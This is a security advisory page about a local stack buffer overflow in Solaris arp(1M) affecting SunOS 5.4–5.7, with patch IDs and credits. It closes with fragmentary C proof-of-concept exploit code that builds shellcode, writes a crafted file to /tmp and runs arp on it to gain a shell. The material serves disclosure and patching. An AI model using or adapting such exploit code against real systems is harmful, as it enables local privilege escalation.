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Home : Advisories : Vulnerability in Solaris arp(1M)

Title: Vulnerability in Solaris arp(1M)
Released by:
Date: 11th January 2001
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Vulnerability in Solaris arp(1M)

Date Published: November 28, 2000

Advisory ID: N/A

Bugtraq ID: N/A

CVE CAN: Non currently assigned.

Title: Solaris arp(1M) Buffer Overflow Vulnerability

Class: Boundary Error Condition

Remotely Exploitable: No

Locally Exploitable: Yes

Vulnerability Description:

The stack overflow is in arp's file() function, which reads the data in

from the supplied file.  The overflow itself is a result of using sscanf

to split up the file data.  In a typical buffer overflow fashion,

file()'s return address is overwritten with part of the supplied string.

Vulnerable Packages/Systems:

  SunOS 5.7

  SunOS 5.7_x86

  SunOS 5.6

  SunOS 5.6_x86

  SunOS 5.5.1

  SunOS 5.5.1_x86

  SunOS 5.5

  SunOS 5.5_x86

  SunOS 5.4

  SunOS 5.4_x86

Solution/Vendor Information/Workaround:

The following patches are available in relation to the above problem.

    OS Version          Patch ID

    __________          _________

    SunOS 5.7           109709-01

    SunOS 5.7_x86       109710-01

    SunOS 5.6           109719-01

    SunOS 5.6_x86       109720-01

    SunOS 5.5.1         109721-01

    SunOS 5.5.1_x86     109722-01

    SunOS 5.5           109707-01

    SunOS 5.5_x86       109708-01

    SunOS 5.4           109723-01

    SunOS 5.4_x86       109724-01

Vendor notified on: November 28, 2000


This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

Special thanks to Dave Ahmed from SecurityFocus for his meticulous help.

This advisory was drafted with the help of the SecurityFocus.com

Vulnerability Help Team.

For more information or assistance drafting advisories please mail


Technical Description - Exploit/Concept Code:


/* arpexp.c

   arp overflow proof of concept by ahmed@securityfocus.com

   tested on x86 solaris 7,8beta

   default should work.  if not, arg1 = offset. +- by 100's

   Copyright Security-Focus.com, 11/2000


long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)


  char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"











  unsigned long magic = 0x8047b78;

  unsigned long r = get_esp() + 600;

  unsigned char buf[300];

  int f;

  if (ac == 2)

    r += atoi(av[1]);




  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);

  write(f,"1 2 3 4 ",8);







  system("/usr/sbin/arp -f /tmp/ypx");



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